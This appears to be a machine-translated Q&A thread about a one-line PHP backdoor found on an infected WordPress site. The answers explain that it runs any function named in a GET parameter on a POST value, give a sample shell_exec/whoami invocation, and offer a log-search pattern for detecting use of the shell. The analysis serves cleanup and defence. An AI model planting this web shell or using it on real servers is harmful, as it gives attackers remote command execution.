我从一个wordpress网站中提取了这个,这个网站恰好被感染并被我清理干净了。
<?php ($_=@$_GET[page]).@$_($_POST[404]);?>
我怀疑这行是SEO垃圾邮件,但我无法理解这一行。
答案 0 :(得分:9)
这是一个PHP shell。如果你将它重写为URL file.php?2 = shell_exec&amp; 1 = whoami在shell上执行命令whoami。在您的示例中,一个参数通过POST传递,一个通过GET传递。所以打电话有点困难。
你也可以用它调用其他功能。第一个参数始终是函数名,第二个参数是被调用函数的参数。
显然它是在http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872)上解释的,但网站没有为我加载。
/ edit:如果您可以访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此shell。 shell上的一个简单的egrep“(&amp; | \?)2 =。+”logs *应该可以工作。你只能看到执行命令的一半(只有GET,而不是POST),但这可能有助于查看攻击者是否真正使用了他的脚本。
PS:在此之前已经回答了
答案 1 :(得分:3)
让我们稍微分解一下:
($_=@$_GET[page])
.
@$_($_POST[404]);
首先,这是两个与句点连结的表达式:()
.
()
。
在第一个表达式中,$_
=
$_GET[page]
,$_
是一个变量,并被赋予=
变量$_GET['page']
,或者它引用的匿名函数的输出。如果$_GET[page]
确实引用了匿名函数,@
将会抑制其中的任何错误。
第二个表达式@
$_(
$_POST[404]
);
从匿名函数@
的错误抑制$_
开始现在可以说是一个被调用的匿名函数,因为它跟着(
。传递给此函数的参数是$_POST['404']
,然后第二个括号只是关闭调用。
所以我认为你的怀疑是正确的;这看起来像混淆代码,旨在看起来无害或部分网站。我怀疑$_GET[page]
和$_POST[404]
的值可能是javascript字符串,它们在页面上的回显会安装恶意软件或广告软件。
您可以通过查看这两个变量的值并查看它们的含义来进行更多调试。
在不知道GET和POST中的值的情况下,我可以告诉它,看起来变量$_
被分配给字符串$_GET[page]
,这可能是人们在URL中提交的任何内容加载页面。因此,他们能够将任何函数的字符串名称传递给站点,并将其置于PHP的范围内。
然后,他们在$_POST['404']
值上运行该任意函数。该值也是浏览器或用户POST
到页面的任何值。
连接和外括号().()
可能只是更混淆,或者此代码的重点可能是简单地在页面上回显此代码的结果(例如注入javascript)。但是,他们也有可能在他们通过的任何争论中调用他们想要的任何功能。我不能仅仅通过观察来判断,但更熟悉PHP的人可能会这样做。